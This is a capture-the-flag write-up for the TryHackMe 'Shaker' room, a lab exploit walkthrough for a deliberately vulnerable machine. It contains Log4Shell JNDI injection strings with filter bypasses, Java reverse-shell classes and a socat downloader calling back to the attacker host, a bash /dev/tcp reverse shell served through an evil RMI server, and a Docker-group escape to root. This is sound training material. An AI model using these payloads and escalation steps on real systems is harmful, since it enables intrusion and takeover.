Shaker - TryHackMe

Featured image

A Devious Challenge for a Modern 0-day

The recent log4j exploit made waves in the Java world when a major exploit using a relatively obscure part of the language was discovered. In this room, we’ll exploit this exploit in several different ways and see what’s hiding behind this seemingly innocuous website.

Reconnaissance

Once we’ve booted the machine, let’s see what’s on there. Using nmap this time, we’ll perform the scan in 2 parts.

In the first part we’ll see what ports are actually open:


sudo nmap -sS -p- -T4 -v $RHOSTS
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-17 14:58 CET
Initiating Ping Scan at 14:58
Scanning 10.10.254.224 [4 ports]
Completed Ping Scan at 14:58, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:58
Completed Parallel DNS resolution of 1 host. at 14:58, 1.04s elapsed
Initiating SYN Stealth Scan at 14:58
Scanning 10.10.254.224 [65535 ports]
Discovered open port 22/tcp on 10.10.254.224
Discovered open port 8080/tcp on 10.10.254.224
SYN Stealth Scan Timing: About 18.13% done; ETC: 15:00 (0:02:20 remaining)
SYN Stealth Scan Timing: About 38.53% done; ETC: 15:00 (0:01:37 remaining)
SYN Stealth Scan Timing: About 60.69% done; ETC: 15:00 (0:00:59 remaining)
Completed SYN Stealth Scan at 15:00, 138.79s elapsed (65535 total ports)
Nmap scan report for 10.10.254.224
Host is up (0.030s latency).
Not shown: 65389 filtered tcp ports (no-response), 143 filtered tcp ports (admin-prohibited)
PORT     STATE  SERVICE
22/tcp   open   ssh
8080/tcp open   http-proxy
9090/tcp closed zeus-admin

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 140.14 seconds
           Raw packets sent: 131026 (5.765MB) | Rcvd: 147 (10.452KB)

We can see 2 ports open here, let’s see what’s on these:


sudo nmap -sCV $RHOSTS -p 22,8080 -T4 -v
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-17 15:05 CET
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:05
Completed NSE at 15:05, 0.00s elapsed
Initiating NSE at 15:05
Completed NSE at 15:05, 0.00s elapsed
Initiating NSE at 15:05
Completed NSE at 15:05, 0.00s elapsed
Initiating Ping Scan at 15:05
Scanning 10.10.254.224 [4 ports]
Completed Ping Scan at 15:05, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:05
Completed Parallel DNS resolution of 1 host. at 15:05, 1.03s elapsed
Initiating SYN Stealth Scan at 15:05
Scanning 10.10.254.224 [2 ports]
Discovered open port 22/tcp on 10.10.254.224
Discovered open port 8080/tcp on 10.10.254.224
Completed SYN Stealth Scan at 15:05, 0.11s elapsed (2 total ports)
Initiating Service scan at 15:05
Scanning 2 services on 10.10.254.224
Completed Service scan at 15:06, 62.85s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.254.224.
Initiating NSE at 15:06
Completed NSE at 15:06, 1.28s elapsed
Initiating NSE at 15:06
Completed NSE at 15:06, 0.08s elapsed
Initiating NSE at 15:06
Completed NSE at 15:06, 0.00s elapsed
Nmap scan report for 10.10.254.224
Host is up (0.029s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
|   3072 d5:33:1f:04:50:a3:f8:9b:a5:d5:55:10:04:52:83:69 (RSA)
|   256 4a:89:06:8b:1e:23:03:4a:7c:c4:92:6b:0f:84:3e:f8 (ECDSA)
|_  256 9e:5c:da:fa:ae:39:d1:bb:7f:3d:84:9d:e9:a8:c9:62 (ED25519)
8080/tcp open  http-proxy
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Transfer-Encoding: chunked
|     Content-Type: text/html; charset=UTF-8
|     <!DOCTYPE html>
|     <html class="no-js">
|     <head>
|     <link rel="icon" href="/assets/img/favicon.png" type="image/png">
|     <link rel="stylesheet" href="/styles.css" type="text/css">
|     <script>(function(e,t,n){var r=e.querySelectorAll('html')[0];r.className=r.className.replace(/(^|s)no-js(s|$)/,'$1js$2')})(document,window,0);</script>
|     <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
|     <script src="assets/js/upload.js" defer="defer"></script>
|     </head>
|     <body>
|     <nav><a href="/">HOME</a></nav>
|     <section>
|     <div class="no-resize centre"><img src="assets/img/Shaker.png"></div>
|     class="centre">Welcome to the premier XML shaking website on the market! This site will help you shake up your plain boring XML files by throwing your tags aroun
|   HTTPOptions:
|     HTTP/1.1 404 Not Found
|     Transfer-Encoding: chunked
|     Content-Type: text/html; charset=UTF-8
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <link rel="icon" href="/assets/img/favicon.png" type="image/png">
|     <link rel="stylesheet" href="/styles.css" type="text/css">
|     </head>
|     <body>
|     <nav><a href="/">HOME</a></nav>
|     <section>
|     class="page-title">Not Found</h1>
|     class="centre">The requested content was not found</p>
|     </section>
|     </body>
|_    </html>
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|_  Supported Methods: GET
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.92%I=7%D=12/17%Time=61BC9917%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,591,"HTTP/1\.1\x20200\x20OK\r\nTransfer-Encoding:\x20chunked\
SF:r\nContent-Type:\x20text/html;\x20charset=UTF-8\r\n\r\n52e\r\n<!DOCTYPE
SF:\x20html>\n<html\x20class=\"no-js\">\n\x20\x20<head>\n\x20\x20\x20\x20<
SF:link\x20rel=\"icon\"\x20href=\"/assets/img/favicon\.png\"\x20type=\"ima
SF:ge/png\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/style
SF:s\.css\"\x20type=\"text/css\">\n\x20\x20\x20\x20<script>\(function\(e,t
SF:,n\){var\x20r=e\.querySelectorAll\('html'\)\[0\];r\.className=r\.classN
SF:ame\.replace\(/\(\^\|\\s\)no-js\(\\s\|\$\)/,'\$1js\$2'\)}\)\(document,w
SF:indow,0\);</script>\n\x20\x20\x20\x20<script\x20src=\"https://cdnjs\.cl
SF:oudflare\.com/ajax/libs/jquery/3\.6\.0/jquery\.min\.js\"></script>\n\x2
SF:0\x20\x20\x20<script\x20src=\"assets/js/upload\.js\"\x20defer=\"defer\"
SF:></script>\n\x20\x20</head>\n\x20\x20<body>\n\x20\x20\x20\x20<nav><a\x2
SF:0href=\"/\">HOME</a></nav>\n\x20\x20\x20\x20<section>\n\x20\x20\x20\x20
SF:\x20\x20<div\x20class=\"no-resize\x20centre\"><img\x20src=\"assets/img/
SF:Shaker\.png\"></div>\n\x20\x20\x20\x20\x20\x20<p\x20class=\"centre\">We
SF:lcome\x20to\x20the\x20premier\x20XML\x20shaking\x20website\x20on\x20the
SF:\x20market!\x20This\x20site\x20will\x20help\x20you\x20shake\x20up\x20yo
SF:ur\x20plain\x20boring\x20XML\x20files\x20by\x20throwing\x20your\x20tags
SF:\x20aroun")%r(HTTPOptions,1E1,"HTTP/1\.1\x20404\x20Not\x20Found\r\nTran
SF:sfer-Encoding:\x20chunked\r\nContent-Type:\x20text/html;\x20charset=UTF
SF:-8\r\n\r\n177\r\n<!DOCTYPE\x20html>\n<html>\n\x20\x20<head>\n\x20\x20\x
SF:20\x20<link\x20rel=\"icon\"\x20href=\"/assets/img/favicon\.png\"\x20typ
SF:e=\"image/png\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\
SF:"/styles\.css\"\x20type=\"text/css\">\n\x20\x20</head>\n\x20\x20<body>\
SF:n\x20\x20\x20\x20<nav><a\x20href=\"/\">HOME</a></nav>\n\x20\x20\x20\x20
SF:<section>\n\x20\x20\x20\x20\x20\x20<h1\x20class=\"page-title\">Not\x20F
SF:ound</h1>\n\x20\x20\x20\x20\x20\x20<p\x20class=\"centre\">The\x20reques
SF:ted\x20content\x20was\x20not\x20found</p>\n\x20\x20\x20\x20</section>\n
SF:\x20\x20</body>\n</html>\n\r\n0\r\n\r\n");
NSE: Script Post-scanning.
Initiating NSE at 15:06
Completed NSE at 15:06, 0.00s elapsed
Initiating NSE at 15:06
Completed NSE at 15:06, 0.00s elapsed
Initiating NSE at 15:06
Completed NSE at 15:06, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.14 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

So we have a port open on 22 confirmed to be SSH, and one on 8080 which looks to be an http server. Let’s take a look at that one.

Walking the Golden Path

Loading up the site, we can see that it proposes a tool to “mix up” our XML files (why?!?).

Homepage with upload field for xml files

Already we can probably think of an XXE attack, but let’s throw in a testing file to see what we get:


Uploading the file, we then get:

Mixed xml files


Crouching XML, Hidden XXE

There doesn’t seem to be anywhere else for us to go. Let’s try a classic XXE detection payload from Payload All The Things


Trying this payload immediately throws an error saying that our XML is invalid. Hmm.

Invalid XML File

Let’s take a look at the source code. In the main page we see nothing interesting. However, when we mix a file, we can see a comment in the source:

    
<!--Added some brute-force protection to the logs folder. They'll be in a folder suffixed by a totally secure random 4 digit pin -Bob-->

Brute force, eh?

let’s try and see what we can find. We know that there’s a logs folder and that it’s suffixed by a 4-digit number.

Brute Force Heroes

Let’s try a basic brute force with feroxbuster.


feroxbuster -u http://$RHOSTS:8080 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.4.0
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://10.10.179.105:8080
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
 πŸ‘Œ  Status Codes          β”‚ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.4.0
 πŸ’‰  Config File           β”‚ /home/hydra/.config/feroxbuster/ferox-config.toml
 πŸ”ƒ  Recursion Depth       β”‚ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menuβ„’
──────────────────────────────────────────────────
302        0l        0w        0c http://10.10.179.105:8080/debug
[####################] - 3s      4702/4702    0s      found:1       errors:0
[####################] - 3s      4702/4702    1288/s  http://10.10.179.105:8080

debug redirects…maybe there’s something more here let’s assume that the logs folder begins with logs, and we append a number afterwards.

We can create a wordlist with the seq command, then launch ffuf.


seq -w 0 9999 > nums.txt
ffuf -u http://$RHOSTS:8080/debug/logsFUZZ -w nums.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.179.105:8080/debug/logsFUZZ
 :: Wordlist         : FUZZ: nums.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

2431                    [Status: 200, Size: 3875, Words: 271, Lines: 67, Duration: 32ms]
:: Progress: [10000/10000] :: Job [1/1] :: 1115 req/sec :: Duration: [0:00:09] :: Errors: 0 ::

Going to http://$RHOSTS:8080/debug/logs2431 gives us our logs!


We still have no clue as to why the XXE payload failed, but we see that the output is clearly logged! Maybe this new log4j vulnerability can help.

Log4Shell

Let’s see if this application is vulnerable to the Log4Shell exploit.

We can startup a simple nc listener on any port, I’ll use 1389. First we need an XML file containing the magic string:

    
<test>${jndi:ldap://$LHOST:1389/Log4Shell}</test>

and a listener:


nc -lvnp 1389
Listening on 0.0.0.0 1389

Let’s upload our file and see what happens.

Invalid XML

Well darn. It seems that there may be a filter in place. Let’s check the logs to see what happened.

    
2021-12-21 16:41:43,824 INFO Application [DefaultDispatcher-worker-2] Hello called
2021-12-21 16:44:40,485 INFO Application [DefaultDispatcher-worker-1] Logging file 3dcd1ff7738c8984.xml
2021-12-21 16:44:43,982 INFO t.x.s.Mixer [DefaultDispatcher-worker-1] JNDI injection detected. Rejecting!

It looks like our attempt was detected, let’s try to be a bit sneakier with a new xml file:

    
<test>${${::-j}ndi:ldap://$LHOST:1389/Log4Shell}</test>

Success! We get a pingback

Huzzah! The server pings back an ldap query (though it looks like gibberish). This means that we are getting some info back, and that we can probably get ourselves a reverse shell. Do do this, we have a bit of setup to do.

LDAP Marshaller

First we need something to marshal the LDAP call to a java class file. We can use the marshalsec project to do this for us. Clone the repo, then create the jar with the mvn clean package -DskipTests command.

We can then run the marshaller with the java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://$LHOST:8888/#Log4Shell" command.

HTTP Server

We also need an HTTP server. For this we can simply use python’s http.server module: python3 -m http.server 8888

Java Payload Class

The last thing that we need to generate is our payload class. We’ll need to call the source file Log4Shell.java as that’s the class that we told the marshaller to look up.

For this exploit, I’m using a slightly modified Java#3 payload from the Reverse Shell Generator

    
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Log4Shell {
    static {
        String host = "$LHOST";
        int port = 4242;
        String cmd = "/bin/sh";
        try {
            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
            Socket s = new Socket(host, port);
            InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
            OutputStream po = p.getOutputStream(), so = s.getOutputStream();
            while (!s.isClosed()) {
                while (pi.available() > 0)
                    so.write(pi.read());
                while (pe.available() > 0)
                    so.write(pe.read());
                while (si.available() > 0)
                    po.write(si.read());
                so.flush();
                po.flush();
                Thread.sleep(50);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {
                }
            }
            p.destroy();
            s.close();
        } catch (Exception e) {
        }
    }
}

We compile this code using javac Log4Shell.java

Putting it all together

Putting everything together, we finally launch an nc listener of the specified port and upload our xml file again. If we did everything correctly, we should receive a connection back to our listener and we can grab our first flag.


Listening on 0.0.0.0 4242
Connection received on 10.10.194.188 59672
whoami
whoami: unknown uid 1000
ls
bin
lib
logs
uploads
user.txt
wc user.txt
        3         9        90 user.txt

Stabilizing Our Shell

From here we have very few options for stabilizing our shell, as there is not much actually available on the server. I tend to like abusing socat, but first we’ll have to get it on our target. One way could be to use our Log4Shell payload to upload the socat and run it.

    
import java.io.InputStream;
import java.io.File;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import java.net.URL;


public class Log4Shell {
    static {
        String url = "http://$LHOST:8888/socat";
        String filename = "./socat";
        String cmd = "./socat TCP:$LHOST:4242 EXEC:'/bin/sh',pty,stderr,setsid,sigint,sane &";
        try {
            InputStream in = new URL(url).openStream();
            Files.copy(in, Paths.get(filename), StandardCopyOption.REPLACE_EXISTING);

            File file = new File(filename);

            if(file.exists()){
              file.setReadable(true);
              file.setExecutable(true);
              file.setWritable(false);
            }

            Process p = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});
            p.waitFor();
        } catch (Exception e) {
        }
    }
}

Now we have a nice stable shell!

Phase 2, Escape!

Exploring around, we can see that we’re in a docker container. However, we don’t have anything on the container itself. We also know how to upload arbitrary files though, and we have Java on the machine. Uploading files via the XML form is a bit of a pain, so let’s make a basic http client.

HTTP Client

So I made a very simple HTTP client using ktor and uploaded it to my github here: Kotlin HTTP Client. We can grab it, and build a shadow jar using ./gradlew shadowJar. To upload it, we’ll take our Java payload that we used to grab a shell and upload the jar.

    
import java.io.InputStream;
import java.io.File;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import java.net.URL;


public class Log4File {
    static {
        String url = "http://$LHOST:8888/kotlin-http-client-1.0-SNAPSHOT-all.jar";
        String filename = "./kotlin-http-client-1.0-SNAPSHOT-all.jar";
        try {
            InputStream in = new URL(url).openStream();
            Files.copy(in, Paths.get(filename), StandardCopyOption.REPLACE_EXISTING);

            File file = new File(filename);

            if(file.exists()){
              file.setReadable(true);
              file.setExecutable(true);
              file.setWritable(false);
            }
        } catch (Exception e) {
        }
    }
}

Looking around

Looking around we see that we’re using a busybox, and so are probably on an Alpine container. Let’s see if we can access anything outside our current host. First let’s get our internal IP address and poke around.


ip a
1: lo:  mtu 65536 qdisc noqueue qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
5: eth0@if6:  mtu 1500 qdisc noqueue
    link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.2/16 brd 172.18.255.255 scope global eth0
       valid_lft forever preferred_lft forever

We’ll want to see if anything is available on the host at 172.18.0.1

For this we’ll need a port scanner. Now we could upload a static nmap and use that, but that’s no fun. Let’s make one in Java! (or Kotlin, Kotlin is nice as well).

Port Scanner

So I spent more time than I would hare for to make a basic port scanner in kotlin: Kotlin Port Scanner. Once again we can build a shadow jar using ./gradlew shadowJar. Using our http client to grab the jar,


java -jar kotlin-http-client-1.0-SNAPSHOT-all.jar http://$LHOST:8888/kotlin-port-scanner-1.0-SNAPSHOT-all.jar -o kotlin-port-scanner-1.0-SNAPSHOT-all.jar
200 OK
Saved to kotlin-port-scanner-1.0-SNAPSHOT-all.jar

Launching our port scanner, we can see 3 ports open on the target:


java -jar kotlin-port-scanner-1.0-SNAPSHOT-all.jar -t 100 172.18.0.1
Ports Scanned  98% β”‚β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–‹β”‚ 64494/65536 (0:00:12 / 0:00:00) 
172.18.0.1:22 :: OPEN
172.18.0.1:8080 :: OPEN
172.18.0.1:8888 :: OPEN

Exploring a suspicious service

2 of these ports we had already seen on our initial nmap scan, which leaves port 8888 as being suspicious. Port 8888 is a reasonably common HTTP port for development servers, so let’s try hitting it with our HTTP client.


java -jar kotlin-http-client-1.0-SNAPSHOT-all.jar -v http://172.18.0.1:8888
Received 91 bytes from -1
Exception in thread "main" io.ktor.client.features.ClientRequestException: Client request(http://172.18.0.1:8888/) invalid: 400 . Text: "{"timestamp":"2021-12-22T10:41:44.919+00:00","status":400,"error":"Bad Request","path":"/"}"
        at io.ktor.client.features.DefaultResponseValidationKt$addDefaultResponseValidation$1$1.invokeSuspend(DefaultResponseValidation.kt:47)
        at kotlin.coroutines.jvm.internal.BaseContinuationImpl.resumeWith(ContinuationImpl.kt:33)
        at kotlinx.coroutines.DispatchedTask.run(DispatchedTask.kt:106)
        at kotlinx.coroutines.EventLoopImplBase.processNextEvent(EventLoop.common.kt:277)
        at kotlinx.coroutines.BlockingCoroutine.joinBlocking(Builders.kt:87)
        at kotlinx.coroutines.BuildersKt__BuildersKt.runBlocking(Builders.kt:61)
        at kotlinx.coroutines.BuildersKt.runBlocking(Unknown Source)
        at kotlinx.coroutines.BuildersKt__BuildersKt.runBlocking$default(Builders.kt:40)
        at kotlinx.coroutines.BuildersKt.runBlocking$default(Unknown Source)
        at MainKt.main(Main.kt:44)

Ok so that failed. Let’s try an OPTIONS request to see what we can see:


java -jar kotlin-http-client-1.0-SNAPSHOT-all.jar -v -X OPTIONS http://172.18.0.1:8888
Received 0 bytes from 0
200
Required: X-Api-Version
Allow: GET,OPTIONS
Content-Length: 0
Date: Wed, 22 Dec 2021 10:43:20 GMT
--------------------

It looks like we need an X-Api-Version header. Let’s try it


java -jar kotlin-http-client-1.0-SNAPSHOT-all.jar -v -H "X-Api-Version:Hello" http://172.18.0.1:8888
Received 13 bytes from 13
200
Content-Type: text/plain;charset=UTF-8
Content-Length: 13
Date: Wed, 22 Dec 2021 11:03:08 GMT
--------------------
Hello, world!

Now the hint says that bob was researching a certain CVE. Is this another log4shell attempt? Let’s try and wee if we can get a pingback again.

Log4Shell again?


java -jar kotlin-http-client-1.0-SNAPSHOT-all.jar -v -H 'X-Api-Version:${jndi:ldap://$LHOST:1389/Log4Shell}' http://172.18.0.1:8888
Received 92 bytes from -1
Exception in thread "main" io.ktor.client.features.ClientRequestException: Client request(http://172.18.0.1:8888/) invalid: 418 . Text: "{"timestamp":"2021-12-22T11:09:57.193+00:00","status":418,"error":"I'm a teapot","path":"/"}"
        at io.ktor.client.features.DefaultResponseValidationKt$addDefaultResponseValidation$1$1.invokeSuspend(DefaultResponseValidation.kt:47)
        at kotlin.coroutines.jvm.internal.BaseContinuationImpl.resumeWith(ContinuationImpl.kt:33)
        at kotlinx.coroutines.DispatchedTask.run(DispatchedTask.kt:106)
        at kotlinx.coroutines.EventLoopImplBase.processNextEvent(EventLoop.common.kt:277)
        at kotlinx.coroutines.BlockingCoroutine.joinBlocking(Builders.kt:87)
        at kotlinx.coroutines.BuildersKt__BuildersKt.runBlocking(Builders.kt:61)
        at kotlinx.coroutines.BuildersKt.runBlocking(Unknown Source)
        at kotlinx.coroutines.BuildersKt__BuildersKt.runBlocking$default(Builders.kt:40)
        at kotlinx.coroutines.BuildersKt.runBlocking$default(Unknown Source)
        at MainKt.main(Main.kt:44)

There be shenanigans afoot! So we are definitely seeing something here, and the response code suggests that Bob is being cheeky and is likely filtering here. Let’s try some bypasses.


java -jar kotlin-http-client-1.0-SNAPSHOT-all.jar -v -H 'X-Api-Version:${${::-j}ndi:ldap://$LHOST:1389/Log4Shell}' http://172.18.0.1:8888
Received 13 bytes from 13
200
Content-Type: text/plain;charset=UTF-8
Content-Length: 13
Date: Wed, 22 Dec 2021 11:15:47 GMT
--------------------
Hello, world!

We aren’t getting any ping back which suggests that either the JVM is more recent or there are other shenanigans afoot. From what we can see, we are probably seeing a java application on the back end, and we can guess that it might be Spring Boot or Tomcat. If this is indeed the case, then we have an alternative. Using the RMI (Remote Method Invocation) interface, we can create an RMI registry which will send over some code to execute locally, and using a Spring Boot/Tomcat component create and execute our command.

Borrowing from the internets, I hacked together a simple evil RMI server we can use: Evil RMI Server. We’ll need to launch a new socat listener so that we can control both the server and the http client.

Then, using a simple bash reverse shell, we launch the RMI server, and set up our listener.


java -jar evilRMI.jar '$@| /bin/bash -i >& /dev/tcp/$LHOST/4244 0>&1'
Creating evil RMI registry on port 1097
Up!

We can then call the api on the server-side with our client


java -jar kotlin-http-client-1.0-SNAPSHOT-all.jar -v -H 'X-Api-Version:${jnd${::-i}:r${::-m}i://172.18.0.2:1097/Object}' http://172.18.0.1:8888
Received 13 bytes from 13
200
Content-Type: text/plain;charset=UTF-8
Content-Length: 13
Date: Wed, 22 Dec 2021 11:48:16 GMT
--------------------
Hello, world!

And…Bingo!

Bob

Let’s see what we can do to stabilize this shell on bob. Looking around we see that we can use ssh


cd ~
ls -la
total 20
drwx------.  7 bob  bob  201 Dec 19 01:12 .
drwxr-xr-x.  4 root root  35 Dec 16 14:34 ..
lrwxrwxrwx.  1 bob  bob    9 Dec 16 14:37 .bash_history -> /dev/null
-rw-r--r--.  1 bob  bob   18 Jul 27 16:21 .bash_logout
-rw-r--r--.  1 bob  bob  141 Jul 27 16:21 .bash_profile
-rw-r--r--.  1 bob  bob  559 Dec 16 14:38 .bashrc
drwxrwxr-x.  9 bob  bob  108 Dec 16 15:02 .gradle
drwxrwxr-x.  7 bob  bob  238 Dec 16 15:10 log4shell-vulnerable-app
drwxrwxr-x. 11 bob  bob  121 Dec 16 14:38 .sdkman
drwxrwxr-x.  2 bob  bob   33 Dec 16 15:32 shaker
drwx------.  2 bob  bob   29 Dec 19 01:13 .ssh
-rw-rw-r--.  1 bob  bob   50 Dec 16 14:47 user.txt
-rw-rw-r--.  1 bob  bob  183 Dec 16 14:38 .zshrc
wc user.txt
 1  1 50 user.txt

Let’s generate an ssh key locally and add it to Bob’s authorized_keys


ssh-keygen -t ed25519 -C bob@shaker
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/hydra/.ssh/id_ed25519): bob
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in bob
Your public key has been saved in bob.pub
The key fingerprint is:
SHA256:TBvb6BKED54fxLxe+6rjTa2KRToxSdH9+CAV3UqGP28 bob@shaker
The key's randomart image is:
+--[ED25519 256]--+
|    .. ..+ .     |
|     =. + + .    |
|    + =.o* .     |
|   o B.+o*=      |
|    * *.So.o     |
|     B = o. E    |
|    o = + ..     |
|     +.+ o       |
|    ..+++..      |
+----[SHA256]-----+
cat bob.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICD4+oviYeyc8IpJfdR7ET9eZRA6w2sO9mHAqaTooZJ/ bob@shaker

Copy the public key into the authorized_keys and ssh in.


echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICD4+oviYeyc8IpJfdR7ET9eZRA6w2sO9mHAqaTooZJ/ bob@shaker' >> authorized_keys
 ZRA6w2sO9mHAqaTooZJ/ bob@shaker' >> authorized_keys
cat authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHUp2atLzqeJqnFBXJE9zUFuB7cX3n31xBtMunMdDHaY bob@shaker
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICD4+oviYeyc8IpJfdR7ET9eZRA6w2sO9mHAqaTooZJ/ bob@shaker


ssh bob@$RHOSTS -i bob
Last login: Sun Dec 19 17:18:33 2021
[bob@shaker ~]$

Checking Bob’s groups with the id command should that he’s part of the docker group, which can allow us to spin up a docker container with relative ease.


id
uid=1001(bob) gid=1001(bob) groups=1001(bob),990(docker) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
docker image ls
REPOSITORY   TAG       IMAGE ID       CREATED      SIZE
shaker       latest    9afd77f60542   2 days ago   118MB
docker run -it -v "/:/mnt/host" shaker /bin/sh


cd /mnt/host/root
/bin/sh: cd: can't cd to /mnt/host/root: Permission denied
whoami
whoami: unknown uid 1000

Well damn, the container is forcing us to run as bob!

Loading a New Docker Image

Let’s try to manually load an Alpine image. First on the attacker machine, pull the alpine image and save it to a tar:


docker pull alpine
Using default tag: latest
latest: Pulling from library/alpine
59bf1c3509f3: Pull complete
Digest: sha256:21a3deaa0d32a8057914f36584b5288d2e5ecc984380bc0118285c70fa8c9300
Status: Downloaded newer image for alpine:latest
docker.io/library/alpine:latest
docker save alpine -o alpine.tar
scp -i bob alpine.tar bob@$RHOSTS:~/alpine.tar
alpine.tar                                                          100% 5738KB   8.2MB/s   00:00

Then on the other side, we can load in the tar file to a new image


docker load -i alpine.tar
8d3ac3489996: Loading layer  5.866MB/5.866MB
Loaded image: alpine:latest
docker run -it -v "/:/mnt/host" alpine /bin/sh

We can then chroot to /mnt/host for ease of use, and grab the root flag.


chroot /mnt/host
cat: /proc/7/comm: No such file or directory
cd ~
ls
anaconda-ks.cfg  root.txt
wc root.txt
 1  1 50 root.txt

Boom Goes the Box!

Here we are at least, all the flags and a good amount of hassle and some custom coding. This box goes to show that even if you follow all the best practices for creating docker images, you still aren’t completely safe if a vulnerable service lives on the host. We can use the container as a pivot to cause further havoc, and thus compromise more than one might think.

Alternate exploit paths seen in testing included popping a chisel proxy to assist in the pivot, and one enterprising tester uploaded a busybox replacement which enabled things like nc, wget and so on. Cheers to OmegaVoid (His site can be found here: https://www.omegavo.id/) for helping with the testing as well as Fluffy.